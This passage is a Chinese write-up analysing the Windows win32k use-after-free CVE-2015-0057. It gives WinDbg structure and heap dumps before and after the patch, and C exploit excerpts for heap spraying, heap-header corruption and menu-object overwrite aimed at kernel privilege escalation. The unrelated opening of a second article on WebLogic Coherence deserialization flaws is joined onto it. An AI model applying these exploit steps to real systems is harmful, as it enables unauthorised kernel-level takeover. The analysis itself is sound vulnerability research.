3、后续系统将这块空间（原tagSBINFO现tagPROPLIST+tagPROP）进行了写入操作，将里面的cEntries由0x2改为了0xe，这样我们就可以覆盖（0xe-0x2）*0x10大小的缓冲区了（这里就实现了UAF，通过原tagSBINFO的指针将第一个字节进行了改变，这样的操作在tagSBINFO中是很正常的，但是在tagPROPLIST中就可以造成缓冲区溢出，我们可以多溢出0xc个tagPROP大小）
4、在原tagSBINFO现tagPROPLIST+tagPROP的位置后面放入strNAME+tagMENU的结构，通过覆盖堆头，修改堆块大小标识符，将后面tagMENU的空间也覆盖入这个堆块上了，这样我们释放这个堆块，后面的tagMENU也被释放了，但是这个堆块的句柄还在我们手里，再次进行分配，就又造成了一次UAF漏洞（覆盖堆头的目的是为了UAF，我们可以先用`SetMenuItemInfoA`函数修改
rgItems
字段从而实现任意写，写的内容就是shellcode的指针，这个位置实际上就是HalDispatchTable+0x8的位置，之后覆盖整块空间再分配，通过rop执行到shellcode的地址，完成提权）
数据结构大概如此图：
#### 静态分析：
先看一下漏洞函数，这样看起来比较丑，我们并不知道这里面的诸如v3等等的变量含义是什么意思，这时我们可以在windbg里面通过dt查看tagWND的结构体
kd> dt win32k!tagWND
+0x000 head : _THRDESKHEAD
+0x028 state : Uint4B
+0x028 bHasMeun : Pos 0, 1 Bit
+0x028 bHasVerticalScrollbar : Pos 1, 1 Bit
+0x028 bHasHorizontalScrollbar : Pos 2, 1 Bit
+0x028 bHasCaption : Pos 3, 1 Bit
+0x028 bSendSizeMoveMsgs : Pos 4, 1 Bit
+0x028 bMsgBox : Pos 5, 1 Bit
+0x028 bActiveFrame : Pos 6, 1 Bit
+0x028 bHasSPB : Pos 7, 1 Bit
+0x028 bNoNCPaint : Pos 8, 1 Bit
+0x028 bSendEraseBackground : Pos 9, 1 Bit
+0x028 bEraseBackground : Pos 10, 1 Bit
+0x028 bSendNCPaint : Pos 11, 1 Bit
+0x028 bInternalPaint : Pos 12, 1 Bit
+0x028 bUpdateDirty : Pos 13, 1 Bit
+0x028 bHiddenPopup : Pos 14, 1 Bit
+0x028 bForceMenuDraw : Pos 15, 1 Bit
+0x028 bDialogWindow : Pos 16, 1 Bit
+0x028 bHasCreatestructName : Pos 17, 1 Bit
+0x028 bServerSideWindowProc : Pos 18, 1 Bit
+0x028 bAnsiWindowProc : Pos 19, 1 Bit
+0x028 bBeingActivated : Pos 20, 1 Bit
+0x028 bHasPalette : Pos 21, 1 Bit
+0x028 bPaintNotProcessed : Pos 22, 1 Bit
+0x028 bSyncPaintPending : Pos 23, 1 Bit
+0x028 bRecievedQuerySuspendMsg : Pos 24, 1 Bit
+0x028 bRecievedSuspendMsg : Pos 25, 1 Bit
+0x028 bToggleTopmost : Pos 26, 1 Bit
+0x028 bRedrawIfHung : Pos 27, 1 Bit
+0x028 bRedrawFrameIfHung : Pos 28, 1 Bit
+0x028 bAnsiCreator : Pos 29, 1 Bit
+0x028 bMaximizesToMonitor : Pos 30, 1 Bit
+0x028 bDestroyed : Pos 31, 1 Bit
+0x02c state2 : Uint4B
+0x02c bWMPaintSent : Pos 0, 1 Bit
+0x02c bEndPaintInvalidate : Pos 1, 1 Bit
+0x02c bStartPaint : Pos 2, 1 Bit
+0x02c bOldUI : Pos 3, 1 Bit
+0x02c bHasClientEdge : Pos 4, 1 Bit
+0x02c bBottomMost : Pos 5, 1 Bit
+0x02c bFullScreen : Pos 6, 1 Bit
+0x02c bInDestroy : Pos 7, 1 Bit
+0x02c bWin31Compat : Pos 8, 1 Bit
+0x02c bWin40Compat : Pos 9, 1 Bit
+0x02c bWin50Compat : Pos 10, 1 Bit
+0x02c bMaximizeMonitorRegion : Pos 11, 1 Bit
+0x02c bCloseButtonDown : Pos 12, 1 Bit
+0x02c bMaximizeButtonDown : Pos 13, 1 Bit
+0x02c bMinimizeButtonDown : Pos 14, 1 Bit
+0x02c bHelpButtonDown : Pos 15, 1 Bit
+0x02c bScrollBarLineUpBtnDown : Pos 16, 1 Bit
+0x02c bScrollBarPageUpBtnDown : Pos 17, 1 Bit
+0x02c bScrollBarPageDownBtnDown : Pos 18, 1 Bit
+0x02c bScrollBarLineDownBtnDown : Pos 19, 1 Bit
+0x02c bAnyScrollButtonDown : Pos 20, 1 Bit
+0x02c bScrollBarVerticalTracking : Pos 21, 1 Bit
+0x02c bForceNCPaint : Pos 22, 1 Bit
+0x02c bForceFullNCPaintClipRgn : Pos 23, 1 Bit
+0x02c FullScreenMode : Pos 24, 3 Bits
+0x02c bCaptionTextTruncated : Pos 27, 1 Bit
+0x02c bNoMinmaxAnimatedRects : Pos 28, 1 Bit
+0x02c bSmallIconFromWMQueryDrag : Pos 29, 1 Bit
+0x02c bShellHookRegistered : Pos 30, 1 Bit
+0x02c bWMCreateMsgProcessed : Pos 31, 1 Bit
+0x030 ExStyle : Uint4B
+0x030 bWS_EX_DLGMODALFRAME : Pos 0, 1 Bit
+0x030 bUnused1 : Pos 1, 1 Bit
+0x030 bWS_EX_NOPARENTNOTIFY : Pos 2, 1 Bit
+0x030 bWS_EX_TOPMOST : Pos 3, 1 Bit
+0x030 bWS_EX_ACCEPTFILE : Pos 4, 1 Bit
+0x030 bWS_EX_TRANSPARENT : Pos 5, 1 Bit
+0x030 bWS_EX_MDICHILD : Pos 6, 1 Bit
+0x030 bWS_EX_TOOLWINDOW : Pos 7, 1 Bit
+0x030 bWS_EX_WINDOWEDGE : Pos 8, 1 Bit
+0x030 bWS_EX_CLIENTEDGE : Pos 9, 1 Bit
+0x030 bWS_EX_CONTEXTHELP : Pos 10, 1 Bit
+0x030 bMakeVisibleWhenUnghosted : Pos 11, 1 Bit
+0x030 bWS_EX_RIGHT : Pos 12, 1 Bit
+0x030 bWS_EX_RTLREADING : Pos 13, 1 Bit
+0x030 bWS_EX_LEFTSCROLLBAR : Pos 14, 1 Bit
+0x030 bUnused2 : Pos 15, 1 Bit
+0x030 bWS_EX_CONTROLPARENT : Pos 16, 1 Bit
+0x030 bWS_EX_STATICEDGE : Pos 17, 1 Bit
+0x030 bWS_EX_APPWINDOW : Pos 18, 1 Bit
+0x030 bWS_EX_LAYERED : Pos 19, 1 Bit
+0x030 bWS_EX_NOINHERITLAYOUT : Pos 20, 1 Bit
+0x030 bUnused3 : Pos 21, 1 Bit
+0x030 bWS_EX_LAYOUTRTL : Pos 22, 1 Bit
+0x030 bWS_EX_NOPADDEDBORDER : Pos 23, 1 Bit
+0x030 bUnused4 : Pos 24, 1 Bit
+0x030 bWS_EX_COMPOSITED : Pos 25, 1 Bit
+0x030 bUIStateActive : Pos 26, 1 Bit
+0x030 bWS_EX_NOACTIVATE : Pos 27, 1 Bit
+0x030 bWS_EX_COMPOSITEDCompositing : Pos 28, 1 Bit
+0x030 bRedirected : Pos 29, 1 Bit
+0x030 bUIStateKbdAccelHidden : Pos 30, 1 Bit
+0x030 bUIStateFocusRectHidden : Pos 31, 1 Bit
+0x034 style : Uint4B
+0x034 bReserved1 : Pos 0, 16 Bits
+0x034 bWS_MAXIMIZEBOX : Pos 16, 1 Bit
+0x034 bReserved2 : Pos 0, 16 Bits
+0x034 bWS_TABSTOP : Pos 16, 1 Bit
+0x034 bReserved3 : Pos 0, 16 Bits
+0x034 bUnused5 : Pos 16, 1 Bit
+0x034 bWS_MINIMIZEBOX : Pos 17, 1 Bit
+0x034 bReserved4 : Pos 0, 16 Bits
+0x034 bUnused6 : Pos 16, 1 Bit
+0x034 bWS_GROUP : Pos 17, 1 Bit
+0x034 bReserved5 : Pos 0, 16 Bits
+0x034 bUnused7 : Pos 16, 2 Bits
+0x034 bWS_THICKFRAME : Pos 18, 1 Bit
+0x034 bReserved6 : Pos 0, 16 Bits
+0x034 bUnused8 : Pos 16, 2 Bits
+0x034 bWS_SIZEBOX : Pos 18, 1 Bit
+0x034 bReserved7 : Pos 0, 16 Bits
+0x034 bUnused9 : Pos 16, 3 Bits
+0x034 bWS_SYSMENU : Pos 19, 1 Bit
+0x034 bWS_HSCROLL : Pos 20, 1 Bit
+0x034 bWS_VSCROLL : Pos 21, 1 Bit
+0x034 bWS_DLGFRAME : Pos 22, 1 Bit
+0x034 bWS_BORDER : Pos 23, 1 Bit
+0x034 bMaximized : Pos 24, 1 Bit
+0x034 bWS_CLIPCHILDREN : Pos 25, 1 Bit
+0x034 bWS_CLIPSIBLINGS : Pos 26, 1 Bit
+0x034 bDisabled : Pos 27, 1 Bit
+0x034 bVisible : Pos 28, 1 Bit
+0x034 bMinimized : Pos 29, 1 Bit
+0x034 bWS_CHILD : Pos 30, 1 Bit
+0x034 bWS_POPUP : Pos 31, 1 Bit
+0x038 hModule : Ptr64 Void
+0x040 hMod16 : Uint2B
+0x042 fnid : Uint2B
+0x048 spwndNext : Ptr64 tagWND
+0x050 spwndPrev : Ptr64 tagWND
+0x058 spwndParent : Ptr64 tagWND
+0x060 spwndChild : Ptr64 tagWND
+0x068 spwndOwner : Ptr64 tagWND
+0x070 rcWindow : tagRECT
+0x080 rcClient : tagRECT
+0x090 lpfnWndProc : Ptr64 int64
+0x098 pcls : Ptr64 tagCLS
+0x0a0 hrgnUpdate : Ptr64 HRGN__
+0x0a8 ppropList : Ptr64 tagPROPLIST
+0x0b0 pSBInfo : Ptr64 tagSBINFO
+0x0b8 spmenuSys : Ptr64 tagMENU
+0x0c0 spmenu : Ptr64 tagMENU
+0x0c8 hrgnClip : Ptr64 HRGN__
+0x0d0 hrgnNewFrame : Ptr64 HRGN__
+0x0d8 strName : _LARGE_UNICODE_STRING
+0x0e8 cbwndExtra : Int4B
+0x0f0 spwndLastActive : Ptr64 tagWND
+0x0f8 hImc : Ptr64 HIMC__
+0x100 dwUserData : Uint8B
+0x108 pActCtx : Ptr64 _ACTIVATION_CONTEXT
+0x110 pTransform : Ptr64 _D3DMATRIX
+0x118 spwndClipboardListenerNext : Ptr64 tagWND
+0x120 ExStyle2 : Uint4B
+0x120 bClipboardListener : Pos 0, 1 Bit
+0x120 bLayeredInvalidate : Pos 1, 1 Bit
+0x120 bRedirectedForPrint : Pos 2, 1 Bit
+0x120 bLinked : Pos 3, 1 Bit
+0x120 bLayeredForDWM : Pos 4, 1 Bit
+0x120 bLayeredLimbo : Pos 5, 1 Bit
+0x120 bHIGHDPI_UNAWARE_Unused : Pos 6, 1 Bit
+0x120 bVerticallyMaximizedLeft : Pos 7, 1 Bit
+0x120 bVerticallyMaximizedRight : Pos 8, 1 Bit
+0x120 bHasOverlay : Pos 9, 1 Bit
+0x120 bConsoleWindow : Pos 10, 1 Bit
+0x120 bChildNoActivate : Pos 11, 1 Bit
通过结构体，我们可以清楚的知晓要操作哪一块内存，下面是优化后函数的部分截图，这里面的第二个和第三个参数可以通过在线网站
<https://doxygen.reactos.org/>
来查询内核函数的原型函数，不过问题不大，我们知道了v3就是pSBInfo就可以了，上面对一些结构体进行了介绍
如果只对这个漏洞进行POC的编写，分析到这一步就可以了，步骤大概为：
>
> 窗口创建->EnableScrollBar（后面两个参数为3）->CreateWindowExA->设置ShowWindow和UpdateWindow使窗口可见->Hook__ClientLoadLibrary并DestroyWindow
接下来继续看下哪里出了问题导致这次攻击的发生，观察伪代码发现，在2处堆pSBInfo进行了修改
方才的伪代码在汇编中的形式如下，正常情况下函数会走到1的位置
在上面的分析我们得出了结论，发现在这里将0x2改为了0xe，造成了UAF
#### 补丁前动态分析：
我们先看一下回调函数的调用栈，我们在调用xxxDrawScrollBar的地址和该地址的下一条指令下断点，再向nt!KeUserModeCallback下断点（因为任何的user-mode callback流程最终内核到用户层的入口点都会是 nt!KeUserModeCallback）
这时我们执行，观察函数调用栈
此时我们查看下tagWND的数据结构，rdi的值为tagWND的起始地址
现在前置内容已经讲完了，我们从头来看一下这个程序实际执行的时候会有什么样的动作
首先下硬件断点
之后执行exp，可以看到windbg中断在了函数起始的位置
然后执行到第一个xxxDrawScrollBar的位置上，此时观察下rbx和rdi+0xb0位置上的值，可以观察到，此时rdi+0xb0位置上的值还并未改变
这时F10进入下一步，执行完了xxxDrawScrollBar，再观察下rbx和rdi+0xb0位置的值，可以发现，两块缓冲区都被破坏掉了
此时我们看rdi已经没有用了，我们真正操作的桌面堆空间实际上是rbx附近的内存空间，而其附近的内存空间已被堆喷排布过了，该空间布局可供参考，有助于理解该漏洞对内存的操作
d> dd rbx-0x200 L200
fffff901`40974990 00000000 00000000 00000000 00000000
fffff901`409749a0 40c9b9f0 fffff901 00000000 00000000
fffff901`409749b0 00000000 00000000 00000000 00000000
fffff901`409749c0 00000000 00000000 00000000 00000000
fffff901`409749d0 00000000 00000000 00000000 00000000
fffff901`409749e0 00000000 00000000 9ff56c80 08000874
fffff901`409749f0 00000002 00000002 aaaabbbb aaaabbbb
fffff901`40974a00 00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`40974a10 0000225e 00000000 96f56c89 0800087d
fffff901`40974a20 000302af 00000000 00000000 00000000
fffff901`40974a30 00000000 00000000 da0a2090 ffffe000
fffff901`40974a40 40974a20 fffff901 00000000 00000000
fffff901`40974a50 00000008 00000001 00000000 00000000
fffff901`40974a60 00000000 00000000 00000000 00000000
fffff901`40974a70 40c9be80 fffff901 00000000 00000000
fffff901`40974a80 00000000 00000000 00000000 00000000
fffff901`40974a90 00000000 00000000 00000000 00000000
fffff901`40974aa0 00000000 00000000 00000000 00000000
fffff901`40974ab0 00000000 00000000 9ff56c80 08000874
fffff901`40974ac0 00000002 00000002 aaaabbbb aaaabbbb
fffff901`40974ad0 00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`40974ae0 0000225f 00000000 96f56c89 0800087d
fffff901`40974af0 000302b1 00000000 00000000 00000000
fffff901`40974b00 00000000 00000000 da0a2090 ffffe000
fffff901`40974b10 40974af0 fffff901 00000000 00000000
fffff901`40974b20 00000008 00000001 00000000 00000000
fffff901`40974b30 00000000 00000000 00000000 00000000
fffff901`40974b40 40c9c310 fffff901 00000000 00000000
fffff901`40974b50 00000000 00000000 00000000 00000000
fffff901`40974b60 00000000 00000000 00000000 00000000
fffff901`40974b70 00000000 00000000 00000000 00000000
fffff901`40974b80 00000000 00000000 9ff56c80 08000874
fffff901`40974b90 00000002 00000002 aaaabbbb aaaabbbb
fffff901`40974ba0 00000001 00000000 ccccdddd ccccdddd
fffff901`40974bb0 00000006 00000000 8cf56c93 1000087d
fffff901`40974bc0 43434343 43434343 43434343 43434343
fffff901`40974bd0 43434343 43434343 43434343 43434343
fffff901`40974be0 43434343 43434343 43434343 43434343
fffff901`40974bf0 43434343 43434343 43434343 43434343
fffff901`40974c00 43434343 43434343 43434343 43434343
fffff901`40974c10 43434343 43434343 43434343 43434343
fffff901`40974c20 43434343 43434343 43434343 43434343
fffff901`40974c30 43434343 43434343 43434343 43434343
fffff901`40974c40 43434343 43434343 43434343 43434343
fffff901`40974c50 43434343 43434343 43434343 43434343
fffff901`40974c60 43434343 43434343 43434343 43434343
fffff901`40974c70 43434343 43434343 43434343 43434343
fffff901`40974c80 43434343 43434343 43434343 43434343
fffff901`40974c90 43434343 43434343 43434343 43434343
fffff901`40974ca0 43434343 43434343 43434343 43434343
fffff901`40974cb0 00000000 00000000 96f56c89 0800086e
fffff901`40974cc0 000302b3 00000000 00000000 00000000
fffff901`40974cd0 00000000 00000000 da0a2090 ffffe000
fffff901`40974ce0 40974cc0 fffff901 00000000 00000000
fffff901`40974cf0 00000008 00000001 00000000 00000000
fffff901`40974d00 00000000 00000000 00000000 00000000
fffff901`40974d10 40c9c7a0 fffff901 00000000 00000000
fffff901`40974d20 00000000 00000000 00000000 00000000
fffff901`40974d30 00000000 00000000 00000000 00000000
fffff901`40974d40 00000000 00000000 00000000 00000000
fffff901`40974d50 00000000 00000000 8cf56c93 10000874
fffff901`40974d60 00000000 00000000 9df56d83 10000865
fffff901`40974d70 41414141 41414141 41414141 41414141
fffff901`40974d80 41414141 41414141 41414141 41414141
fffff901`40974d90 41414141 41414141 41414141 41414141
fffff901`40974da0 41414141 41414141 41414141 41414141
fffff901`40974db0 41414141 41414141 41414141 41414141
fffff901`40974dc0 41414141 41414141 41414141 41414141
fffff901`40974dd0 41414141 41414141 41414141 41414141
fffff901`40974de0 41414141 41414141 41414141 41414141
fffff901`40974df0 41414141 41414141 41414141 41414141
fffff901`40974e00 41414141 41414141 41414141 41414141
fffff901`40974e10 41414141 41414141 41414141 41414141
fffff901`40974e20 41414141 41414141 41414141 41414141
fffff901`40974e30 41414141 41414141 41414141 41414141
fffff901`40974e40 41414141 41414141 41414141 41414141
fffff901`40974e50 00000000 00000000 9ff56c80 0800086e
fffff901`40974e60 00000002 00000002 aaaabbbb aaaabbbb
fffff901`40974e70 00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`40974e80 00002261 00000000 96f56c89 0800087d
fffff901`40974e90 000302b5 00000000 00000000 00000000
fffff901`40974ea0 00000000 00000000 da0a2090 ffffe000
fffff901`40974eb0 40974e90 fffff901 00000000 00000000
fffff901`40974ec0 00000008 00000001 00000000 00000000
fffff901`40974ed0 00000000 00000000 00000000 00000000
fffff901`40974ee0 40c9cc30 fffff901 00000000 00000000
fffff901`40974ef0 00000000 00000000 00000000 00000000
fffff901`40974f00 00000000 00000000 00000000 00000000
fffff901`40974f10 00000000 00000000 00000000 00000000
fffff901`40974f20 00000000 00000000 9ff56c80 08000874
fffff901`40974f30 00000002 00000002 aaaabbbb aaaabbbb
fffff901`40974f40 00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`40974f50 00002262 00000000 96f56c89 0800087d
fffff901`40974f60 000302b7 00000000 00000000 00000000
fffff901`40974f70 00000000 00000000 da0a2090 ffffe000
fffff901`40974f80 40974f60 fffff901 00000000 00000000
fffff901`40974f90 00000008 00000001 00000000 00000000
fffff901`40974fa0 00000000 00000000 00000000 00000000
fffff901`40974fb0 40c9d0c0 fffff901 00000000 00000000
fffff901`40974fc0 00000000 00000000 00000000 00000000
fffff901`40974fd0 00000000 00000000 00000000 00000000
fffff901`40974fe0 00000000 00000000 00000000 00000000
fffff901`40974ff0 00000000 00000000 9ff56c80 08000874
fffff901`40975000 00000002 00000002 aaaabbbb aaaabbbb
fffff901`40975010 00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`40975020 00002263 00000000 96f56c89 0800087d
fffff901`40975030 000302b9 00000000 00000000 00000000
fffff901`40975040 00000000 00000000 da0a2090 ffffe000
fffff901`40975050 40975030 fffff901 00000000 00000000
fffff901`40975060 00000008 00000001 00000000 00000000
fffff901`40975070 00000000 00000000 00000000 00000000
fffff901`40975080 40c9d550 fffff901 00000000 00000000
fffff901`40975090 00000000 00000000 00000000 00000000
fffff901`409750a0 00000000 00000000 00000000 00000000
fffff901`409750b0 00000000 00000000 00000000 00000000
fffff901`409750c0 00000000 00000000 9ff56c80 08000874
fffff901`409750d0 00000002 00000002 aaaabbbb aaaabbbb
fffff901`409750e0 00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`409750f0 00002264 00000000 96f56c89 0800087d
fffff901`40975100 000302bb 00000000 00000000 00000000
fffff901`40975110 00000000 00000000 da0a2090 ffffe000
fffff901`40975120 40975100 fffff901 00000000 00000000
fffff901`40975130 00000008 00000001 00000000 00000000
fffff901`40975140 00000000 00000000 00000000 00000000
fffff901`40975150 40c9d9e0 fffff901 00000000 00000000
fffff901`40975160 00000000 00000000 00000000 00000000
fffff901`40975170 00000000 00000000 00000000 00000000
fffff901`40975180 00000000 00000000 00000000 00000000
此时直接观察rbx，结构还是taSBINFO的结构
之后步过xxxDrawScrollBar，此时数据结构已经换成了tagPROPLIST+tagPROP
其实上面的两块（其实是同一块）数据结构前面还有一个堆头，如下所示，只不过rbx存储的是带有实际意义的数据结构的起始位置
当执行过fffff960`003254de之后，cEntries变为了0xe，此时再次使用，就可以向后覆盖_heap_entry
此时的数据结构
kd> dd rbx-8 L100
fffff901`40a73a08 9ff56c80 08000874 0000000e 00000002 tagProplist start
fffff901`40a73a18 aaaabbbb aaaabbbb 00000001 00000000
fffff901`40a73a28 ccccdddd ccccdddd 00000006 00000000 tagProplist end
fffff901`40a73a38 8cf56c93 1000087d 43434343 43434343 _heap_entry被修改，此时后面的tagMENU结构被该堆头覆盖
fffff901`40a73a48 43434343 43434343 43434343 43434343
fffff901`40a73a58 43434343 43434343 43434343 43434343
fffff901`40a73a68 43434343 43434343 43434343 43434343
fffff901`40a73a78 43434343 43434343 43434343 43434343
fffff901`40a73a88 43434343 43434343 43434343 43434343
fffff901`40a73a98 43434343 43434343 43434343 43434343
fffff901`40a73aa8 43434343 43434343 43434343 43434343
fffff901`40a73ab8 43434343 43434343 43434343 43434343
fffff901`40a73ac8 43434343 43434343 43434343 43434343
fffff901`40a73ad8 43434343 43434343 43434343 43434343
fffff901`40a73ae8 43434343 43434343 43434343 43434343
fffff901`40a73af8 43434343 43434343 43434343 43434343
fffff901`40a73b08 43434343 43434343 43434343 43434343
fffff901`40a73b18 43434343 43434343 43434343 43434343
fffff901`40a73b28 43434343 43434343 00000000 00000000
fffff901`40a73b38 96f56c89 0800086e 000426ed 00000000 tagMENU start
fffff901`40a73b48 00000000 00000000 00000000 00000000
fffff901`40a73b58 da0a2090 ffffe000 40a73b40 fffff901
fffff901`40a73b68 00000000 00000000 00000008 00000001
fffff901`40a73b78 00000000 00000000 00000000 00000000
fffff901`40a73b88 00000000 00000000 408befe0 fffff901 将该值通过SetMenuItemInfoA修改为shellcode的地址，此时尚未修改
fffff901`40a73b98 00000000 00000000 00000000 00000000
fffff901`40a73ba8 00000000 00000000 00000000 00000000
fffff901`40a73bb8 00000000 00000000 00000000 00000000
fffff901`40a73bc8 00000000 00000000 00000000 00000000
fffff901`40a73bd8 8cf56c93 10000874 00000000 00000000
fffff901`40a73be8 9df56d83 10000865 41414141 41414141
fffff901`40a73bf8 41414141 41414141 41414141 41414141
fffff901`40a73c08 41414141 41414141 41414141 41414141
fffff901`40a73c18 41414141 41414141 41414141 41414141
fffff901`40a73c28 41414141 41414141 41414141 41414141
fffff901`40a73c38 41414141 41414141 41414141 41414141
fffff901`40a73c48 41414141 41414141 41414141 41414141
fffff901`40a73c58 41414141 41414141 41414141 41414141
fffff901`40a73c68 41414141 41414141 41414141 41414141
fffff901`40a73c78 41414141 41414141 41414141 41414141
fffff901`40a73c88 41414141 41414141 41414141 41414141
fffff901`40a73c98 41414141 41414141 41414141 41414141
fffff901`40a73ca8 41414141 41414141 41414141 41414141
fffff901`40a73cb8 41414141 41414141 41414141 41414141
fffff901`40a73cc8 41414141 41414141 00000000 00000000
fffff901`40a73cd8 9ff56c80 0800086e 00000002 00000002
fffff901`40a73ce8 aaaabbbb aaaabbbb 00000001 00000000
fffff901`40a73cf8 bbbbbbbb bbbbbbbb 00002261 00000000
fffff901`40a73d08 96f56c89 0800087d 000426eb 00000000
fffff901`40a73d18 00000000 00000000 00000000 00000000
fffff901`40a73d28 da0a2090 ffffe000 40a73d10 fffff901
fffff901`40a73d38 00000000 00000000 00000008 00000001
fffff901`40a73d48 00000000 00000000 00000000 00000000
fffff901`40a73d58 00000000 00000000 408bf470 fffff901
fffff901`40a73d68 00000000 00000000 00000000 00000000
fffff901`40a73d78 00000000 00000000 00000000 00000000
fffff901`40a73d88 00000000 00000000 00000000 00000000
fffff901`40a73d98 00000000 00000000 00000000 00000000
fffff901`40a73da8 9ff56c80 08000874 00000002 00000002
fffff901`40a73db8 aaaabbbb aaaabbbb 00000001 00000000
fffff901`40a73dc8 bbbbbbbb bbbbbbbb 00002262 00000000
fffff901`40a73dd8 96f56c89 0800087d 000426e9 00000000
fffff901`40a73de8 00000000 00000000 00000000 00000000
fffff901`40a73df8 da0a2090 ffffe000 40a73de0 fffff901
#### 补丁后动态分析
首先下硬件断点
执行exp，可以看到windbg中断在了函数起始的位置
然后执行到第一个xxxDrawScrollBar的位置上，此时观察下rbx和rdi+0xb0位置上的值，可以观察到，此时rdi+0xb0位置上的值还并未改变
这时F10进入下一步，执行完了xxxDrawScrollBar，再观察下rbx和rdi+0xb0位置的值，可以发现，两块缓冲区都被破坏掉了
不进行跳转，执行releasedc
成功的将漏洞利用防御住了
### 5、EXP分析
本文根据公网已有的exp分析，包括绕过各个安全机制，hook等等，提炼出以下几个关键步骤：
1、堆喷函数，主要进行堆空间的布局，也就是堆风水，堆喷后堆空间的布局基本和上面动态分析的差不多，这里就不再赘述了
BOOL SprayObject()
{
int j = 0;
CHAR o1str[OVERLAY1_SIZE - _HEAP_BLOCK_SIZE] = { 0 };
CHAR o2str[OVERLAY2_SIZE - _HEAP_BLOCK_SIZE] = { 0 };
LARGE_UNICODE_STRING o1lstr, o2lstr;
// build first overlay
memset(o1str, '\x43', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
RtlInitLargeUnicodeString(&o1lstr, (WCHAR*)o1str, (UINT)-1, OVERLAY1_SIZE - _HEAP_BLOCK_SIZE - 2);
// build second overlay
memset(o2str, '\x41', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
*(DWORD*)o2str = 0x00000000;
*(DWORD*)(o2str + 4) = 0x00000000;
*(DWORD*)(o2str + 8) = 0x00010000 + OVERLAY2_SIZE;
*(DWORD*)(o2str + 12) = 0x10000000 + ((OVERLAY1_SIZE + MENU_SIZE + _HEAP_BLOCK_SIZE) / 0x10);
string clearh, newh;
o2str[11] = o2str[8] ^ o2str[9] ^ o2str[10];
clearh.append(o2str, 16);
newh = XOR(clearh, xorKey);
memcpy(o2str, newh.c_str(), 16);
RtlInitLargeUnicodeString(&o2lstr, (WCHAR*)o2str, (UINT)-1, OVERLAY2_SIZE - _HEAP_BLOCK_SIZE - 2);
SHORT unused_win_index = 0x20;
for (SHORT i = 0; i < SHORT(MAX_OBJECTS - 0x20); i++)
{
// property list
SetPropA(spray_step_one[i], (LPCSTR)(i + 0x1000), (HANDLE)0xBBBBBBBBBBBBBBBB);
// overlay 1
if ((i % 0x150) == 0)
{
NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o1lstr);
}
// menu object
hmenutab[i] = CreateMenu();
if (hmenutab[i] == 0)
return FALSE;
// overlay 2
if ((i % 0x150) == 0)
NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o2lstr);
}
for (SHORT i = 0; i < MAX_OBJECTS - 0x20; i++)
{
MENUITEMINFOA mii;
mii.cbSize = sizeof(MENUITEMINFO);
mii.fMask = MIIM_ID;
mii.wID = 0xBEEFBEEF;
BOOL res = InsertMenuItemA(hmenutab[i], 0, TRUE, &mii);
if (res == FALSE)
return FALSE;
}
return TRUE;
}
2、这个是通过tagPROP来覆盖堆头的代码，主要的目的是将size覆盖掉，使其扩大，来达到覆盖下面tagMENU的目的
VOID CorruptHeapHeader(PVOID menu_addr)
{
ULONG_PTR xored_header;
CHAR* tmp_header = NULL;
string decoded_header, xored_heap_deader, new_heap_header;
// decode first overlay heap header
xored_header = (ULONG_PTR)menu_addr - OVERLAY1_SIZE - _HEAP_BLOCK_SIZE;
decoded_header = XOR(string((CHAR*)xored_header, 16), xorKey);
// modify heap header
tmp_header = (CHAR*)decoded_header.c_str();
tmp_header[8] = (OVERLAY1_SIZE + MENU_SIZE + _HEAP_BLOCK_SIZE) / 0x10; // new size
tmp_header[11] = tmp_header[8] ^ tmp_header[9] ^ tmp_header[10]; // new checksum
// xor new heap header
new_heap_header = XOR(decoded_header, xorKey);
// overwrite first overlay heap header
for (int i = 0; i < MAX_FAKE_OBJECTS; i++)
SetPropA(spray_step_three[i], (LPCSTR)0x07, (HANDLE) * (ULONG_PTR*)(new_heap_header.c_str() + 8));
}
3、创建tagMENU的空间，后面的释放在重新申请我就不贴代码了，感兴趣可以去ThunderJie师傅的exp中去找
VOID MakeNewMenu(PVOID menu_addr, CHAR* new_objects, LARGE_UNICODE_STRING* new_objs_lstr, PVOID addr)
{
memset(new_objects, '\xAA', OVERLAY1_SIZE - _HEAP_BLOCK_SIZE);
memcpy(new_objects + OVERLAY1_SIZE - _HEAP_BLOCK_SIZE, (CHAR*)menu_addr - _HEAP_BLOCK_SIZE, MENU_SIZE + _HEAP_BLOCK_SIZE);
// modify _MENU.rgItems value
* (ULONG_PTR*)(BYTE*)&new_objects[OVERLAY1_SIZE + MENU_ITEMS_ARRAY_OFFSET] = (ULONG_PTR)addr;
RtlInitLargeUnicodeString(new_objs_lstr, (WCHAR*)new_objects, (UINT)-1, OVERLAY1_SIZE + MENU_SIZE - 2);
}
之后的流程就是修改HalDispatchTable和执行shellcode的流程了，比较套路化
## 四、参考
<https://github.com/55-AA/CVE-2015-0057>
<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-010>
<https://www.anquanke.com/post/id/192604>
<https://xz.aliyun.com/t/4549>
<https://blog.csdn.net/qq_35713009/article/details/102921859>
* * * | 社区文章 |
# Weblogic Coherence 组件漏洞总结分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：白帽汇安全研究院[@kejaly ](https://github.com/kejaly
"@kejaly")校对：白帽汇安全研究院[@r4v3zn](https://github.com/r4v3zn "@r4v3zn")
## 前言
Coherence 组件是 WebLogic 中的一个核心组件，内置在 WebLogic 中。关于 Coherence
组件的官方介绍：<https://www.oracle.com/cn/java/coherence/>
近些年，weblogic Coherence 组件反序列化漏洞被频繁爆出，苦于网上没有公开对 weblogic Coherence
组件历史反序列化漏洞的总结，导致很多想入门或者了解 weblogic Coherence 组件反序列化漏洞的朋友不知道该怎么下手，于是本文便对
weblogic Coherence 组件历史反序列化漏洞做出了一个总结和分析。
关于 Coherence 组件反序列化漏洞利用链的架构，我把他分为两个，一个是基于 `ValueExtractor.extract`
的利用链架构，另一个则是基于 `ExternalizableHelper` 的利用链架构。
## 前置知识
